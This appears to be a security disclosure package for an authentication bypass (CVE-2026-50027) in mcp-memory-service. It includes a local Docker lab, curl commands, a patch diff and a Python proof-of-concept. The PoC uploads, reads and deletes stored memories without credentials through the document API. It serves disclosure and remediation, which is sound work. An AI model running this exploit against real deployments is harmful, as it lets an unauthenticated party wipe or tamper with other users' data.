mcp-memory-service CVE-2026-50027

app.include_router(documents_router, prefix="/api/documents")

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized
# Write through document API - no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
    -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
  python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK

sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication
# Delete by tag - no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
  -H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1

--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
 from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult

 async def upload_document(
     background_tasks: BackgroundTasks,
     file: UploadFile = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

 async def batch_upload_documents(
     background_tasks: BackgroundTasks,
     files: List[UploadFile] = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):

-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):

-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+    user: AuthenticationResult = Depends(require_write_access)):

-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+    user: AuthenticationResult = Depends(require_write_access)):

-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+    user: AuthenticationResult = Depends(require_read_access)):

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
 build-essential \
 && rm -rf /var/lib/apt/lists/*
# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
 "torch>=2.0.0" \
 --index-url https://download.pytorch.org/whl/cpu
# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .
# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"
# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1

EXPOSE 8000

CMD ["python", "run_server.py"]

#!/usr/bin/env python3
"""
PoC - VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Attack chain:
 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
 2. POST /api/memories (with API key) → 200 (legitimate write)
 3. GET /api/memories (with API key) → 200 (data exists)
 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
 6. GET /api/memories (with API key) → memory is GONE

Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user - confirming full integrity impact.

Usage:
 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""

import sys
import time
import json
import uuid
import argparse
import http.client

MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"
# ─── low-level helpers ───────────────────────────────────────────────────────

def http_req(host, port, method, path, body=None, headers=None, timeout=20):
 conn = http.client.HTTPConnection(host, port, timeout=timeout)
 h = dict(headers or {})
 conn.request(method, path, body=body, headers=h)
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", errors="replace")


def wait_ready(host, port, timeout=120):
 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
 if s == 200:
 print("[+] Server ready\n", flush=True)
 return True
 except Exception:
 pass
 time.sleep(1)
 return False


def build_multipart(boundary, filename, file_bytes, tags_str):
 b = boundary.encode()
 return b"".join([
 b"--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
 b"Content-Type: /plain\r\n\r\n",
 file_bytes,
 b"\r\n--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
 tags_str.encode(),
 b"\r\n--" + b + b"--\r\n",
 ])
# ─── individual test steps ───────────────────────────────────────────────────

def step_memories_no_auth(host, port):
 """GET /api/memories without auth must return 401."""
 print("[STEP 1] GET /api/memories (no auth - expect 401)", flush=True)
 status, body = http_req(host, port, "GET", "/api/memories")
 ok = (status == 401)
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
 return ok, status


def step_store_memory_with_auth(host, port, api_key):
 """POST /api/memories with API key - store a 'legitimate' memory."""
 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
 payload = json.dumps({
 "content": f"Sensitive memory - {MARKER}",
 "tags": [TARGET_TAG, "vuln001-demo"],
 "memory_type": "observation",
 "metadata": {"poc": "VULN-001"}
 }).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(payload)),
 "X-API-Key": api_key,
 }
 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
 ok = status in (200, 201)
 content_hash = None
 try:
 content_hash = json.loads(body).get("content_hash")
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
 if not ok:
 print(f" body: {body[:300]}", flush=True)
 return ok, status, content_hash


def step_verify_memory_exists(host, port, api_key):
 """GET /api/memories with auth - confirm the memory is stored."""
 print("[STEP 3] GET /api/memories (with API key - confirm data exists)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
 return ok, status, count


def step_upload_no_auth(host, port):
 """POST /api/documents/upload without any credentials - should return 200."""
 print("[STEP 4] POST /api/documents/upload (NO auth - expect 200)", flush=True)
 boundary = "PocBoundary" + uuid.uuid4().hex
 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication - VULN-001.\n".encode()
 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
 headers = {
 "Content-Type": f"multipart/form-data; boundary={boundary}",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
 upload_id = None
 try:
 upload_id = json.loads(resp).get("upload_id")
 except Exception:
 pass
 ok = status == 200 and upload_id is not None
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, upload_id


def step_delete_no_auth(host, port):
 """DELETE /api/documents/remove-by-tags without auth - should return 200."""
 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
# FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(
 host, port, "DELETE", "/api/documents/remove-by-tags",
 body=body, headers=headers
 )
 ok = status == 200
 deleted = 0
 try:
 deleted = json.loads(resp).get("memories_deleted", 0)
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, deleted


def step_verify_memory_gone(host, port, api_key):
 """GET /api/memories with auth - confirm attacker wiped the data."""
 print("[STEP 6] GET /api/memories (with API key - verify data was deleted)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 data_deleted = (ok and count == 0)
 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
 if data_deleted:
 print(" [+] Memory wiped by unauthenticated attacker - integrity impact confirmed!", flush=True)
 return ok, status, count
# ─── main ────────────────────────────────────────────────────────────────────

def main():
 ap = argparse.ArgumentParser(description="VULN-001 PoC - CWE-306 auth bypass")
 ap.add_argument("--host", default="127.0.0.1")
 ap.add_argument("--port", type=int, default=8000)
 ap.add_argument("--api-key", default="poc-secret-key-12345",
 help="API key configured on the server (simulates legitimate user)")
 args = ap.parse_args()

 print("=" * 65)
 print("VULN-001 Missing Authentication on Document API Endpoints")
 print("CWE-306 / CVSS 9.8 (Critical)")
 print("=" * 65 + "\n")

 if not wait_ready(args.host, args.port):
 print("[-] Server did not become ready", flush=True)
 sys.exit(2)

 r = {}
# Step 1 - baseline: auth IS enforced on /api/memories
 ok1, s1 = step_memories_no_auth(args.host, args.port)
 r["step1_auth_guard_active"] = {
 "pass": ok1,
 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
 }
# Step 2 - legitimate user stores a sensitive memory
 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
 r["step2_legitimate_write"] = {
 "pass": ok2,
 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
 }
# Step 3 - confirm memory exists
 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
 r["step3_data_present"] = {
 "pass": ok3 and mem_count > 0,
 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
 }
# Step 4 - attacker uploads without auth (WRITE bypass)
 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
 r["step4_upload_auth_bypass"] = {
 "pass": ok4,
 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
 }
# Step 5 - attacker deletes WITHOUT auth (DELETE bypass)
 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
 r["step5_delete_auth_bypass"] = {
 "pass": ok5,
 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
 }
# Step 6 - verify legitimate data is gone
 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
 r["step6_integrity_impact"] = {
 "pass": ok6 and remaining == 0,
 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
 }

 print("\n" + "=" * 65)
 print("RESULTS SUMMARY")
 print("=" * 65)
 for k, v in r.items():
 sym = "PASS" if v["pass"] else "FAIL"
 print(f" [{sym}] {v['evidence']}", flush=True)
# Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
 bypass_proven = ok1 and ok4
 delete_bypass = ok1 and ok5

 print("\nKey evidence:")
 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")

 overall = "PASS - auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
 print(f"\nVerdict: {overall}")
 print("=" * 65)
 sys.exit(0 if (bypass_proven or delete_bypass) else 1)


if __name__ == "__main__":
 main()